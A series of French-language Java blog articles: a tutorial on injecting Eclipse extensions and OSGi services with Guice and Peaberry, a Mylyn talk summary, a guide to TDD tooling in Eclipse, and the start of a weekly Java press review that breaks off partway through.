Une première solution à notre problème est apportée par Peaberry. Il s’agit d’une extension pour Guice qui a été développée alors qu’il ne fonctionnait pas encore en milieu OSGi. Cela est réparé depuis la version 2 de Guice, mais Peaberry n’en fournit pas moins un support beaucoup plus avancé d’OSGi en général, et d’Eclipse en particulier.

Avant toute chose, il faut importer Peaberry et Peaberry-Eclipse. La dernière version se récupère ici, il s’agit alors de procéder comme précédemment pour inclure : aopalliance-1.0.jar, guice-customloader-yyyymmdd.jar, peaberry-1.1.1.jar et peaberry.eclipse-1.1.1.jar. C’est ce dernier JAR qui va nous apporter le support spécifique pour les extensions Eclipse.

Note : il semblerait que l’équipe de Peaberry ait eu un problème de packaging sur la version 1.1.1, perdant ainsi la déclaration du point d’extension décrit ci-après. La procédure pour corriger cela est fournie en fin d’article.

Dans notre plugin (fichier plugin.xml), il est à présent possible de demander à Peaberry d’instancier nos extensions via sa factory :

<extension point="org.eclipse.ui.actionSets">
   <!-- ... -->
            class="org.ops4j.peaberry.eclipse.GuiceExtensionFactory:fr.xebia.eclipse.guiceexample.actions.SampleAction"
   <!-- ... -->
</extension>

Il faut alors lui préciser le module Guice à utiliser pour injecter les dépendances :

<extension point="org.ops4j.peaberry.eclipse.modules">
   <module class="fr.xebia.eclipse.guiceexample.CoreModule" />
</extension>

Une autre syntaxe est possible, plus lisible, où le nom de la classe à instancier est en fait l’ID de l’extension (ce qui était déjà le cas dans notre exemple) :

<!-- ... -->
         class="org.ops4j.peaberry.eclipse.GuiceExtensionFactory"
         id="fr.xebia.eclipse.guiceexample.actions.SampleAction"
<!-- ... -->

On peut à présent modifier CoreModule et SampleAction comme suit :

public class CoreModule extends AbstractModule {
	// ...
	@Provides
	protected IThemeManager provideThemeManager() {
		return PlatformUI.getWorkbench().getThemeManager();
	}
}
public class SampleAction implements IWorkbenchWindowActionDelegate {
	// ...
	private final IThemeManager themeManager;
	@Inject
	public SampleAction(IThemeManager themeManager) {
		this.themeManager = themeManager;
	}
	public void run(IAction action) {
		String currentTheme = themeManager.getCurrentTheme().getLabel();
		String message = "Hello, Xebia world. " + NL + "The current theme is: " + currentTheme;
		MessageDialog.openInformation(window.getShell(), "Guice Example", message);
	}
}

On le voit, une fois le problème de l’import de Peaberry-Eclipse réglé, c’est assez simple à utiliser. Il reste malheureusement un problème potentiel : il est impossible de demander à la GuiceExtensionFactory d’utiliser un injecteur existant, elle va donc en créer un pour notre plugin. Si le contenu de plugin.xml est notre seul point d’entrée, tout va bien ; mais si on désire également mettre de la logique dans GuiceExamplePlugin.start() sur la base du même module Guice, une classe déclarée @Singleton pourra alors être instanciée deux fois…

Heureusement la solution est assez simple : écrire notre propre extension factory.

Ecrire sa propre extension factory

GuiceExtensionFactory implémente l’interface IExecutableExtensionFactory, permettant de contrôler l’instantiation des extensions. L’idée est de créer une factory abstraite faisant le même travail à l’exception près que l’injecteur sera fourni par une sous-classe concrète. Voici le code de la factory abstraite (voir le code complet ici) :

public abstract class AbstractGuiceInjectorExtensionFactory implements IExecutableExtension, IExecutableExtensionFactory {
	// définition des champs ...
	public void setInitializationData(final IConfigurationElement config, final String name, final Object data) {
		configuration = config;
		contributor = config.getContributor();
		// si la classe n'est pas fournie dans le même attribut que la factory (i.e: class="factory:classe"), on la récupère dans l'attribut "id"
		className = data instanceof String ? (String) data : config.getAttribute("id");
	}
	public Object create() throws CoreException {
		if (null == className) {
			throw newCoreException("Configuration is missing class information");
		}
		final Class<?> clazz;
		try {
			clazz = resolve(contributor).loadClass(className);
		} catch (final InvalidRegistryObjectException e) {
			throw newCoreException(e);
		} catch (final ClassNotFoundException e) {
			throw newCoreException(e);
		}
		final Object o = getInjector().getInstance(clazz);
		if (o instanceof IExecutableExtension) {
			((IExecutableExtension) o).setInitializationData(configuration, null, null);
		}
		return o;
	}
	abstract protected Injector getInjector();
	// newCoreException(){}...
}

On peut à présent créer une factory différente pour chaque besoin que l’on pourrait avoir. Dans le cas de cet exemple, le but était de partager l’injecteur défini dans GuiceExamplePlugin :

public class GuiceExampleExtensionFactory extends AbstractGuiceInjectorExtensionFactory {
	@Override
	protected Injector getInjector() {
		return GuiceExamplePlugin.getDefault().getInjector();
	}
}

et voici le contenu de plugin.xml associé :

<!-- on n'utilise plus le point d'extension déclarant CoreModule -->
<extension point="org.eclipse.ui.actionSets">
   <!-- ... -->
            class="fr.xebia.eclipse.guiceexample.GuiceExampleExtensionFactory"
            id="fr.xebia.eclipse.guiceexample.actions.SampleAction"
   <!-- ... -->
</extension>

Note : on pourrait tout à fait utiliser cette factory pour créer des contextes d’injection enfants, dédiés par exemple à un certain type d’extensions définies dans plugin.xml :

public class ActionHandlerFactory extends AbstractGuiceInjectorExtensionFactory {
    private static Injector injector;
    @Override
    protected synchronized Injector getInjector() {
        if (injector == null) {
            injector = GuiceExamplePlugin.getDefault().getInjector().createChildInjector(new ActionHandlingModule());
        }
        return injector;
    }
    public static void cleanup() {
        injector = null;
    }
}

A ce stade, la plupart des besoins en injection de dépendances apparaissant lors du développement d’un plugin basique pour Eclipse sont couverts. On pourra même fournir notre contexte d’injection à des plugins autorisés en exposant une méthode createChildInjector() au niveau de notre plugin. Pourtant, quand le besoin arrive d’aller plus loin dans les intéractions entre bundles, il convient de s’intéresser aux services OSGi et aux points d’extension Eclipse.

Aller plus loin avec Peaberry

Eclipse est avant tout une plateforme OSGi, il est donc possible de publier et consommer des services. Là encore il serait intéressant de pouvoir les injecter automatiquement, voici donc deux grandes fonctionnalités proposées par Peaberry et Peaberry-Eclipse.

Injecter des services OSGi

Voici un exemple montrant l’injection du service EnvironmentInfo d’Eclipse, afin d’afficher l’OS sur lequel tourne la plate-forme :

public class CoreModule extends AbstractModule {
	@Override
	protected void configure() {
		// lors d'une injection, toute instance de EnvironmentInfo sera créée par un service déclarant cette interface
		bind(EnvironmentInfo.class).toProvider(Peaberry.service(EnvironmentInfo.class).single());
	}
}
public class GuiceExamplePlugin extends AbstractUIPlugin {
	// ...
	public void start(BundleContext context) throws Exception {
		// ...
		// ajout du support des services OSGi avec Peaberry.osgiModule()
		injector = Guice.createInjector(Peaberry.osgiModule(context), new CoreModule());
		// récupération du service
		EnvironmentInfo info = injector.getInstance(EnvironmentInfo.class);
		getLog().log(new Status(IStatus.INFO, PLUGIN_ID, "This platform runs on " + info.getOS()));
	}
	// ...
}

Note : il existe une solution plus simple pour récupérer cette information, mais là encore avec une méthode statique : org.eclipse.core.runtime.Platform.getOS().

Injecter des extensions clientes

Le système d’extensions d’Eclipse repose en fait aussi sur des services OSGi, Peaberry-Eclipse va donc nous permettre d’injecter de telles extensions.

Voici un dernier exemple dans lequel notre plugin propose un point d’extension à d’autres plugins pour qu’ils puissent aussi nous dire bonjour :

• Créer l’interface définissant le contrat à remplir par l’extension :

package fr.xebia.eclipse.guiceexample.extensionpoint;
public interface HelloWorldParticipant {
	String sayHello();
}

• Déclarer le point d’extension dans plugin.xml :

<extension-point id="helloWorldParticipant" name=""Hello World" Participant" schema="schema/helloWorldParticipant.exsd"/>

• Le définir dans schema/helloWorldParticipant.exsd de la manière suivante :

<?xml version='1.0' encoding='UTF-8'?>
<schema targetNamespace="fr.xebia.eclipse.guiceexample" xmlns="http://www.w3.org/2001/XMLSchema">
   <element name="extension">
      <complexType>
         <choice minOccurs="1" maxOccurs="unbounded">
            <element ref="client"/>
         </choice>
         <attribute name="point" type="string" use="required" />
      </complexType>
   </element>
   <element name="client">
      <complexType>
         <attribute name="class" type="string" use="required">
            <annotation>
               <appInfo>
                  <meta.attribute kind="java" basedOn=":fr.xebia.eclipse.guiceexample.extension.HelloWorldParticipant"/>
               </appInfo>
            </annotation>
         </attribute>
      </complexType>
   </element>
</schema>

Enfin, pour les besoins de l’exemple, déclarons une extension sur ce point d’extension (dans le même plugin pour faire simple) :

• Créer l’extension :

package fr.xebia.eclipse.guiceexample.extension;
import fr.xebia.eclipse.guiceexample.extensionpoint.HelloWorldParticipant;
public class SampleHelloWorldParticipant implements HelloWorldParticipant {
	@Override
	public String sayHello() {
		return "Sample Hello";
	}
}

• La déclarer dans plugin.xml :

<extension point="fr.xebia.eclipse.guiceexample.helloWorldParticipant">
   <client class="fr.xebia.eclipse.guiceexample.extension.SampleHelloWorldParticipant" />
</extension>

Voici alors la manière « standard » de récupérer de telles extensions :

public class SampleAction implements IWorkbenchWindowActionDelegate {
	// ...
	public void run(IAction action) {
		String currentTheme = themeManager.getCurrentTheme().getLabel();
		String message = "Hello, Xebia world. " + NL + "The current theme is: " + currentTheme;
		message += NL + getHellosFromParticipants();
		MessageDialog.openInformation(window.getShell(), "Guice Example", message);
	}
	private String getHellosFromParticipants() {
		String extensionPoint = "fr.xebia.eclipse.guiceexample.helloWorldParticipant";
		IConfigurationElement[] elements = Platform.getExtensionRegistry().getConfigurationElementsFor(extensionPoint);
		final StringBuilder buffer = new StringBuilder();
		for (IConfigurationElement element : elements) {
			try {
				final Object extension = element.createExecutableExtension("class");
				if (!(extension instanceof HelloWorldParticipant))
					continue;
				appendParticipantHello(buffer, (HelloWorldParticipant) extension);
			} catch (CoreException e) {
				// ...
			}
		}
		return buffer.toString();
	}
	private void appendParticipantHello(final StringBuilder buffer, final HelloWorldParticipant participant) {
		SafeRunner.run(new ISafeRunnable() {
			public void run() throws Exception {
				if (buffer.length() == 0)
					buffer.append(NL).append("Other hellos:");
				buffer.append(NL).append(participant.sayHello());
			}
			public void handleException(Throwable throwable) {
				// ...
			}
		});
	}
}

On le voit, c’est plutôt indigeste. Peaberry-Eclipse nous permet de d’injecter ces extensions de la manière suivante :

// annotation de l'interface de l'extension pour fournir l'ID du point d'extension
@ExtensionBean("fr.xebia.eclipse.guiceexample.helloWorldParticipant")
public interface HelloWorldParticipant {
	// ...
}
public class CoreModule extends AbstractModule {
	@Override
	protected void configure() {
		// toute instance de HelloWorldParticipant déclarée par un service (une extension) sera injectée
		// si un Iterable<HelloWorldParticipant> est demandé
		bind(TypeLiterals.iterable(HelloWorldParticipant.class)).toProvider(Peaberry.service(HelloWorldParticipant.class).multiple());
	}
}
public class GuiceExamplePlugin extends AbstractUIPlugin {
	// ...
	public void start(BundleContext context) throws Exception {
		// ...
		// ajout du support du registre des services-extensions d'Eclipse avec EclipseRegistry.eclipseRegistry()
		injector = Guice.createInjector(Peaberry.osgiModule(context, EclipseRegistry.eclipseRegistry()), new CoreModule());
	}
}
public class SampleAction implements IWorkbenchWindowActionDelegate {
	// ...
	private final Iterable<HelloWorldParticipant> participants;
	@Inject
	public SampleAction(IThemeManager themeManager, Iterable<HelloWorldParticipant> participants) {
		this.themeManager = themeManager;
		this.participants = participants;
	}
	// run(){}...
	private String getHellosFromParticipants() {
		final StringBuilder buffer = new StringBuilder();
		for (final HelloWorldParticipant participant : participants) {
			appendParticipantHello(buffer, participant);
		}
		return buffer.toString();
	}
}

Et voilà le résultat :

Dans le cas d’une extension « non-exécutable » (ne fournissant pas une classe à instancier mais des propriétés à récupérer) il est également possible de demander à Peaberry de mapper les propriétés exposées à des méthodes de l’interface annotée avec @ExtensionBean.

Note : n’oubliez pas que les services OSGi sont par nature dynamiques et ne sont donc jamais une ressource acquise. Peaberry est assez sympathique dans le sens où il injecte des proxies dynamiques pour gérer cela automatiquement, mais pour toute utilisation avancée, je vous invite à vous renseigner en détail sur les autres fonctionnalités de Peaberry en rapport avec OSGi.

Conclusion :

Cet article nous a permis de voir qu’il est tout à fait possible d’utiliser un framework d’injection de dépendances lors d’un développement pour Eclipse. Pour les cas les plus basiques Guice seul suffira, de même que d’autres frameworks s’ils supportent le mécanisme de class-loading de OSGi (par exemple Spring). Mais il est possible d’aller plus loin dans le support d’OSGi grâce à Peaberry qui permet d’injecter des services (Spring Dynamic Modules fournit un support équivalent) mais surtout dans le support de la plate-forme Eclipse avec Peaberry-Eclipse qui simplifie grandement la récupération d’extensions clientes.

Les techniques décrites dans cet article me permettent actuellement d’améliorer grandement la lisibilité et la testabilité d’un plugin Eclipse au développement duquel je participe (MoreUnit). En attendant Eclipse 4, je ne peux donc que vous encourager à utiliser ces solutions.

Ressources

• La documentation de Peaberry.
• Martin Lippert’s SpringExtensionFactory : l’article et le code.
• Le code de l’exemple sur GitHub.

Annexe : Procédure pour utiliser le point d’extension org.ops4j.peaberry.eclipse.modules

• Récupérer le fichier modules.exsd, il s’agit de la description d’un point d’extension ;
• Le placer dans le plugin qui expose Peaberry, dans un dossier « schema » ;
• Ajouter un fichier « plugin.xml » à la racine de ce même plugin (s’il n’existe pas déjà) ;
• Dans l’éditeur de manifest, cocher « This plug-in is a singleton » (onglet « Overview ») ;
• Dans ce même éditeur, ajouter une dépendance à « org.eclipse.core.runtime » (onglet « Dependencies », section « Required plug-ins ») ;
• Toujours dans l’éditeur, inclure « plugin.xml » au binard built (onglet « Build », section « Binary Build ») ;
• Enfin, à l’intérieur de plugin.xml, déclarer le point d’extension :

<?xml version="1.0" encoding="UTF-8"?>
<?eclipse version="3.4"?>
<plugin>
   <extension-point id="org.ops4j.peaberry.eclipse.modules" name="Guice binding modules" schema="schema/modules.exsd"/>
</plugin>

Mylyn, c’est le framework ALM (Application Lifecycle Management) d’Eclipse. Il réorganise tout l’IDE autour de tâches. Celles-ci seront ensuite traduites par Mylyn pour nos différents outils comme notre gestionnaire de sources, notre intégration continue ou bien encore notre bugtracker. Le développeur pourra ainsi ne se préoccuper que de ses tâches, Mylyn s’occupant du reste.

Oliver Gierke nous oriente vers 3 grands domaines concernant cette fameuse productivité recherchée du développeur : focus, productivity et traceability.

Focus

Tout se passe dans l’onglet Task List d’Eclipse avec une liste de tâches à effectuer. A noter qu’on ne peut activer qu’une seule tâche à la fois.

Le concept : chaque tâche aura son propre contexte de travail.

Ainsi, dès lors que l’on a activé une tâche, l’onglet Task List se vide et laisse apparaître tous les fichiers sur lesquels nous sommes en train de travailler. L’intérêt est que si l’on change en cours de route de tâche, la nouvelle tâche repartira d’un contexte vide et, en revenant sur notre première tâche, on récupérera notre contexte avec tous nos fichiers modifiés.

Productivity

L’idée ici est de gagner du temps en ayant tout de suite à sa disposition les bons outils intégrés dans son environnement de travail. En effet, avoir plus d’une dizaine d’outils répartis sur son IDE, dans son navigateur, sur son desktop… cela donne des alertes un peu n’importe où Il faut donc passer d’un patchwork à un integrated toolset.

Par défaut, Mylyn gère un nombre assez important de bugtrackers et d’outils en tout genre avec dans le désordre : Bugzilla, Jira, Bamboo, Crucible, Trac, Mantis, Hudson, Egit, CVS…

Pour la récupération des informations de l’outil, prenons par exemple Jira, il est possible de définir ses propres requêtes afin de ne récupérer qu’une certaine partie des bugs. Pour la saisie d’un bug, on dispose d’un éditeur Rich Task Editor pour la saisie des informations liées au bug (OS, version…) et pour la partie commentaire on dispose de l’éditeur WikiText qui nous permet d’écrire de la syntaxe Wiki.

Toujours en terme de productivité, il est possible d’organiser ses requêtes ou ses outils en Working Sets. On pourra aussi exporter ses contextes avec de les partager avec toute l’équipe.

Traceability

Ce concept découle du point précédent. On peut ainsi pour une tâche donnée récupérer toute les informations utiles du type qui, quoi et pourquoi, tout étant regroupé en un seul point.

Démo

Vient ensuite une petite démo avec un projet directement connecté sur le bugtracker de SpringSource :

Code2Cloud

Pour terminer, Oliver nous parle de Code2Cloud, la solution complète de SpringSource pour simplifier la vie du développeur (annonce faite au SpringOne2GX 2010).

Pourquoi parler de Code2Cloud ? Bugzilla, Git, Hudson, STS mais surtout…. Mylyn ! Olivier propose l’exemple de son intégration avec Spring Insight. On pourra ainsi configurer Spring Insight pour créer automatiquement un bug dans le bugtracker pour toute exception levée par l’application. Le bug sera bien sûr rempli avec la stack trace dans le bon champ, les classes impactées, OS/versions… Tout ceci toujours prévu pour le premier trimestre 2011.

Pour conclure

A noter enfin que Mylyn sous-projet de l’IDE Eclipse est devenu top level Eclipse project depuis mi-Septembre. Il rejoint entres autres WTP et EMF dans cette short list de projets qui représentent les secteurs clés d’Eclipse.

L’outil est bon mais pour ma part un point très gênant réside toujours : Un changement de contexte ne met pas de côté les changements effectués à la manière d’un git stash que l’on pourrait récupérer plus tard avec un pop. Si vous connaissez un plugin ou une petite commande qui fait ça, n’hésitez pas à commenter !

Nous essayerons dans cet article de montrer l’ergonomie d’Eclipse et l’utilisation du clavier pour rendre plus courte et plus agréable une session TDD. Nous présenterons quelques plugins Eclipse et aussi un outil souvent négligé que sont les templates de codes.

Un pattern sera introduit pour faciliter l’utilisation des objet métiers et POJO dans les tests.

Enfin, nous présenterons le concept important du Continuous Unit Testing appliqué à l’IDE et indiquerons et comparerons les plugins Eclipse pour le mettre en œuvre.

TDD et Eclipse

Raccourcis claviers utiles

La programmation sur ordinateur est née avant l’outil qu’est la souris pour PC. Tout développeur sait que privilégier le clavier à la souris aide à la concentration et apporte un gain de temps énorme.

Dans cet article, le but n’est pas d’avoir une liste exhaustive de raccourcis claviers utiles à la programmation mais plutôt de faire un résumé des raccourcis basiques en TDD. Ainsi, nous omettrons volontairement les raccourcis de refactoring qui pourront faire l’objet d’un autre article, le refactoring étant indissociable du TDD. Pour connaitre tous les raccourcis, voici un lien avec poster donnant une liste complète pour Eclipse. A placarder chez tous vos clients ou équipes de développement!

Raccourcis à connaitre lorsque l’on démarre TDD (ou la programmation…) avec Eclipse.

A noter que pour gérer les static imports trés courant en TDD, le menu Preferences/Java/Editor/Content Assist/Favorites permet de définir une liste de membres static. Le raccourci Content Assist vous suggérera ensuite cette liste même si l’import est manquant.

Key promoter

Une bonne méthode pour vous inciter à préférer le clavier à la souris est d’utiliser ce que l’on appelle les key promoter. Ce sont des plugins qui afficheront, au moyen d’une petite fenêtre, les raccourcis clavier à utiliser quand vous avez manqué à votre devoir de bon développeur! Voici les informations pour Eclipse et IntelliJ.

Un peu d’ergonomie

Eclipse vous offre une grande liberté quant à la disposition et organisation de vos vues (View) dans différentes perspective.

En TDD, la pensée et l’écriture du code font un va et vient entre la classe et sa classe de test correspondante. Cela peut paraitre un détail mais une façon de faciliter cela est de scinder votre vue éditeur java en deux comme le montre l’image suivante (cliquez pour agrandir).

Pour réaliser cela avec Eclipse, faites un click & drag sur un onglet dans votre éditeur et amener le vers le bas (tout en maintenant le button de souris) jusqu’à ce que la séparation de l’écran apparaisse.

Vous pouvez ainsi visualiser le code et les tests correspondants en même temps. Une façon de s’organiser et par exemple d’avoir vos tests dans l’éditeur du bas et vos classes dans l’éditeur du haut.

Eclipse Outline view

Une vue très utile à l’organisation et visualisation des tests est la Outline View. Elle permet de voir rapidement tous les noms des méthodes de test et agit ainsi comme documentation pour une classe. Mais surtout elle permet, en utilisant un drag & drop directement dans la vue, d’ordonner et de grouper logiquement les méthodes de test. Attention pour déplacer les méthodes de votre classe en utilisant la Outline View, le tri alphabétique doit être désactivé pour cette vue (petit bouton AZ dans le menu de la vue).

Ci-dessous un exemple de ré-organisation de méthodes

Templates de code Java

Les templates de code sont une description structurée de patterns de code qui sont récurrents au cours de votre programmation. Eclipse vient par défaut avec une série de templates courants très utiles (Preference > Java > Editor > Templates), mais vous donne surtout les moyens de créer les vôtres avec beaucoup de flexibilité grâce aux variables. Notez que les templates de code peuvent être importés et exportés au format xml très facilement avec Eclipse. Ainsi il est facile de les partager au sein d’un groupe de développement.

Lors de la création d’un template vous devrez choisir un nom et une description. Le nom de votre template se voudra être court et mémorable et peut contenir un chiffre pour faciliter le filtrage.

Par exemple pour générer une méthode de test avec JUnit 4, j’ai appelé mon template t4, et je donne une courte description qui m’aidera lorsque j’aurai de nombreux templates.

Pour ensuite utiliser le template, écrivez le nom du template et utilisez le raccourci du Content Assist (Ctrl + Space sur PC).

Voici quelques exemples de templates:

t4 – Generate Junit4 test method with Mockito imports

${staticImport:importStatic('org.junit.Assert.*')}${staticImport1:importStatic('org.mockito.Mockito.*')}${staticImport2:importStatic('org.mockito.MockitoAnnotations.Mock')}
@${:newType(org.junit.Test)}
public void should_${testname}() throws Exception {
	${cursor}
}

te – Generate Junit4 expected exception test method

${:import('org.junit.Test')}
@${testType:newType(org.junit.Test)}(expected=${expectionname}.class)
public void should_throw_${testname}_when() throws Exception {
	${cursor}
}

b4 – Generate Junit4 setUp method with Mockito imports

${before:import('org.junit.Before')}${initMocks:importStatic('org.mockito.MockitoAnnotations.*')}
@${:newType(org.junit.Before)}
public void initBeforeTest() throws Exception {
	initMocks(this);
	${cursor}
}

mk – Generate an instance field with the Mockito (@Mock ) annotation

${:import(org.mockito.Mock)}
@${mockType:newType(org.mockito.Mock)} private ${dependencyType} ${name};

Variables pour templates

La création de templates nécessite de savoir utiliser les variables de templates ce qui reste très simple. Il existe des variables génériques comme ${cursor} ou des variables définies par l’utilisateur qui peuvent donc être réutilisées dans le template. Ces dernières adoptent le format suivant:

• ${variableUtilisateur:operateurTemplate)}

Exemples:

• ${mockType:newType(org.mockito.Mock)}
• ${:newType(org.junit.Before)}

Le nom de la variableUtilisateur peut être laissé vide mais ce nom doit être unique pour chaque template (même vide) pour éviter les conflits.

Les templates trouvent leur sens lorsque la répétition est grande comme c’est le cas en TDD. Cependant, je pense qu’ils sont sous-estimés et encore trop peu utilisés. Faites place à votre imagination pour de nouvelles trouvailles et partagez-les au sein de votre équipe. La lassitude de coder et les tendinites devraient diminuer et la productivité augmentera.

Le plugin MoreUnit

Un plugin qui a commencé à réconcilier TDD et rendement est le plugin MoreUnit qui – après une période assez calme – est à nouveau en développement actif depuis l’été dernier. Une nouvelle version (2.2.0) sort d’ailleurs au moment où vous lisez ces lignes.

Voici les principales fonctionnalités de MoreUnit:

1. Il décore d’une icône verte discréte toutes vos classes testées. Un moyen rapide de voir ce qui ne l’est pas!
2. Lors du renommage ou du déplacement d’une classe, MoreUnit se chargera de renommer/déplacer la classe de test correspondante.
3. Un raccourci (Ctrl+J) vous permet de sauter de votre classe à sa (ses) classe(s) de test, un autre (Ctr+R) de lancer le(s) test(s) à partir de la classe principale.
4. Ces mêmes raccourcis vous proposent de créer la classe testée en fonction de la classe de test (et vice-versa) si elle n’existe pas, le tout en suivant vos préférences (voir point suivant).
5. Le comportement plugin est configurable de sorte que vous puissiez utiliser vos propres conventions (quelques exemples: préfixe « should » pour les méthodes de test, méthodes de test nommées selon les méthodes testées, pré-/suffixe « ITest » pour des tests plus orientés intégration, packages de test pré-/suffixés par « test. », tests placés dans un projet séparé, etc…).
6. Un dernier raccourci (Ctrl+U) vos permet de créer une méthode de test pour une méthode donnée, dans une classe de test existante et correspondant à la classe testée.
7. Enfin, MoreUnit supporte à la fois JUnit (3&4) et TestNG.

Cela fait maintenant plus de 2 ans que j’utilise moreUnit. Installez-le vous ne le regretterez pas.

Objet métiers et Builder Pattern

Une des tâches les plus ardues lorsque l’on pratique TDD consiste à générer les différentes instances des objets métiers qui seront utilisées pour les tests unitaires.

Imaginons que pour notre test unitaire nous ayons besoin d’une instance de la classe User comme suit

User user = new User();
user.setUsername("bob");
user.setSurname("Martin")
user.setEmail("bob@mail.com")
user.setPhone("+447735463526");

Le code ci-dessus est répétitif et n’aide pas à la lecture.

Une façon d’y remédier, en obtenant un code plus lisible et flexible, est d’utiliser le Builder Pattern. Nous obtenons ainsi des lignes de code simples comme celles-ci

User user = new UserBuilder().username("bob").surname("Martin").email("bob@mail.com")
                          .phone("+447735463526").toUser();

Si l’on veut juste un objet User vide ou l’un avec simplement un email, ce pattern le permet très simplement avec

User userWithEmail = new UserBuilder().email("bob@mail.com").toUser();
User simpleUser = new UserBuilder().toUser();

Voici ci-dessous la classe UserBuilder. Il est important de noter que le champ d’action de cette classe est réduit aux tests seulement et qu’elle n’apparaîtra jamais dans du code de production. Typiquement, en suivant les conventions Maven, cette classe résidera dans src/test/java.

public class UserBuilder {
	private String username;
	private String surname;
	private String email;
	private String phone;
	public UserBuilder username(String username){
		this.username = username;
		return this;
	}
	public UserBuilder surname(String surname){
		this.surname = surname;
		return this;
	}
	public UserBuilder email(String email){
		this.email = email;
		return this;
	}
	public UserBuilder phone(String phone){
		this.phone = phone;
		return this;
	}
	public User toUser(){
		User user = new User();
		user.setUsername(username);
		user.setSurname(surname);
		user.setEmail(email);
		user.setPhone(phone);
		return user;
	}
}

Il est parfois fastidieux de générer ce type de builder pour tous les objets métiers surtout s’ils sont imposants. Le plugin Eclipse suivant peut aider. Il génère un builder classique pour une classe donnée (la rendant par la même occasion immutable). Moyennant un peu de copier-coller en utilisant la classe produite par le plugin, on peut retrouver le builder présenté ci-dessus sans trop d’effort. Le site update de ce plugin Eclipse est ici.

Continuous unit testing avec Eclipse

Le test unitaire en continu est encore peu utilisé mais est un outil très puissant et indispensable pour le TDD. Il permet de se focaliser uniquement sur l’implémentation et la conception des tests, car votre IDE se chargera de faire tourner les tests unitaires et vous alertera lorsqu’un test est dans le rouge.

Le cycle classique de programmation en TDD est

1. Écriture du test
2. Lancer – par raccourci clavier – JUnit pour être dans le rouge
3. Écriture de l’implémentation
4. Lancer – par raccourci clavier – JUnit pour être dans le vert
5. Recommencer le cycle avec un autre test

Avec le test unitaire en continu, intégré dans votre IDE, votre cycle devient

1. Écriture du test
2. Écriture de l’implémentation
3. Recommencer le cycle avec un autre test

On en gagne du temps! Votre IDE (ou plutôt le plugin) se charge du reste… et c’est bien normal. Les développeurs sont là pour la conception après tout!

Les principaux plugins sont:

• JUnit Flux

Plugin gratuit et très simple d’utilisation. Il a cependant des problème de stabilité car la mise à jour et le rafraîchissement dans la JUnit View ne se font pas toujours correctement après un certain temps d’utilisation. Cela pose des problèmes car votre test est dans le vert alors qu’il devrait être dans le rouge! Cependant, c’est idéal pour commencer.

• JUnit Max

Développé par Kent Beck, il était tombé en désuétude mais a été remis sur le marché en Septembre 2010. Cependant, la licence reste chère à $100 par an! C’est peut être la raison pour laquelle je ne l’ai pas encore essayé. Je suis preneur de retour d’expérience sur ce plugin.

• Infinitest

Plugin stable au prix de $20. La notification de test en erreur se fait à l’aide de la Problem View (introduit par JUnit Max) ce qui veut dire que votre plugin ne tournera pas si vous avez une quelconque erreur de workspace. Un peu ennuyeux parfois. La configuration du plugin reste basique. Il n’y a en effet pas moyen de choisir sur quels projets dans votre workspace vous voulez appliquer le test continu. Ce qui veut dire qu’Infinitest, va faire tourner tous les tests de votre workspace. Le filtrage des classes de test par leur nom (pour éviter les tests d’intégration comme *.ITest) est un peu décevant puisque il faut ajouter un fichier de properties dans le projet au lieu d’utiliser un menu Eclipse dans les préférences.

Ayant commencé par utiliser JUnit Flux, j’utilise maintenant Infinitest et c’est celui que je recommanderais pour petit budget – vous pouvez l’essayer gratuitement pour 30 jours – en attendant sur le marché un plugin gratuit plus satisfaisant ou d’avoir le temps pour en développer un !

Conclusion

Aujourd’hui, le TDD est une arme que tout développeur Java (ou tout language qui s’y prête bien) doit avoir à son arsenal. Tout débat autour de cette méthodologie deviendrait inutile si tout le monde la maitrisait. En effet, chaque développeur, pourrait à son gré choisir de l’appliquer ou non en toute connaissance de cause.

Cependant, la maitrise du TDD demande du temps, de la méthode et surtout de la discipline.

Le but de cet article a été de promouvoir les pratiques indispensables. Elles permettent au développeur de se concentrer sur la partie fun du TDD en automatisant et en facilitant certaines tâches sans pour autant qu’il perde le contrôle.

Si la pratique du TDD n’est pas encore grandement répandue, j’espère que cet article aidera à faciliter son apprentissage.

La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.

Actualité éditeurs / SSII

• La diffusion des produits d’Instantiations par Google
• Avec BigMemory Terracotta se dote d’une mémoire d’éléphant
• PostgreSQL: version 9.0 finale

Agilité

• Les problèmes d’estimation de la valeur métier

SOA

• Sortie de Mule ESB 3 GA

Actualité éditeurs / SSII

La diffusion des produits d’Instantiations par Google

Dans les semaines qui ont suivi le rachat de la société Instantiations par Google début août, les produits phares de la start-up, comme GWT Designer, n’étaient plus accessibles. Comme on s’en doutait, Google vient de remettre à disposition ces outils, au détail prêt qu’ils sont désormais gratuits. On retrouve les plugins Eclipse suivant :

• GWT Designer

Ce plugin est un ensemble de fonctionnalités autour du framework Google Web Toolkit. Parmi ses avantages, on retrouve principalement le designer visuel permettant de concevoir rapidement des interfaces ou d’effectuer du reverse engineering sur un code existant et la génération automatique des services RPC.
L’acquisition de ce plugin marque un renforcement de l’offre RIA de Google, qui annonce travailler sur la fusion de GWT Designer avec GPE (Google Plugin Eclipse) et sur la prise en charge de l’UIBinding.

• CodePro AnalytiX

Ce plugin est un outil collaboratif autour de la qualité du code Java contenant pas moins de 700 métriques. Il propose des fonctions comme l’audit de code, la couverture de code, l’analyse des dépendances.

• WindowBuilder Pro

Ce plugin est un designer visuel permettant de concevoir rapidement des interfaces graphiques dans diverses technologies comme Swing, SWT, RCP, XWT et GWT. Au même titre que GWT Designer, l’outil permet également d’effectuer du Reverse Engineering sur du code existant (écrit à la main ou généré par des outils comme JBuilder, NetBeans, etc.)

• WindowTester Pro

Ce plugin permet de réaliser des tests d’interfaces pour les frameworks SWT et Swing.

Avec BigMemory Terracotta se dote d’une mémoire d’éléphant

La semaine dernière Terracotta a annoncé la sortie de BigMemory en version bêta. Cette nouvelle solution, qui se présente sous la forme d’un plugin d’Ehcache, permet d’utiliser un cache pouvant atteindre plusieurs centaines de Go d’espace (la compagnie annonce 350Go) sans souffrir des pauses dues au garbage collector.

Ce tour de force est possible en soustrayant cet espace à la heap de la jvm, Ehcache désigne cet espace off-heap store. Il s’agit d’une énorme HashMap qui n’est limitée que par la RAM du serveur. De plus la configuration semble assez facile, juste quelques lignes à ajouter dans la configuration de Ehcache. Bien sûr pour dépasser les 2 ou 4 Go il faudra un OS 64bits. Il est à noter par ailleurs que cette solution est 100% java. Parmi les points forts mis en avant:

• d’un point de vue logistique, concentrer la gestion du cache sur une seule machine peut être plus simple à gérer qu’avec un cache distribué.
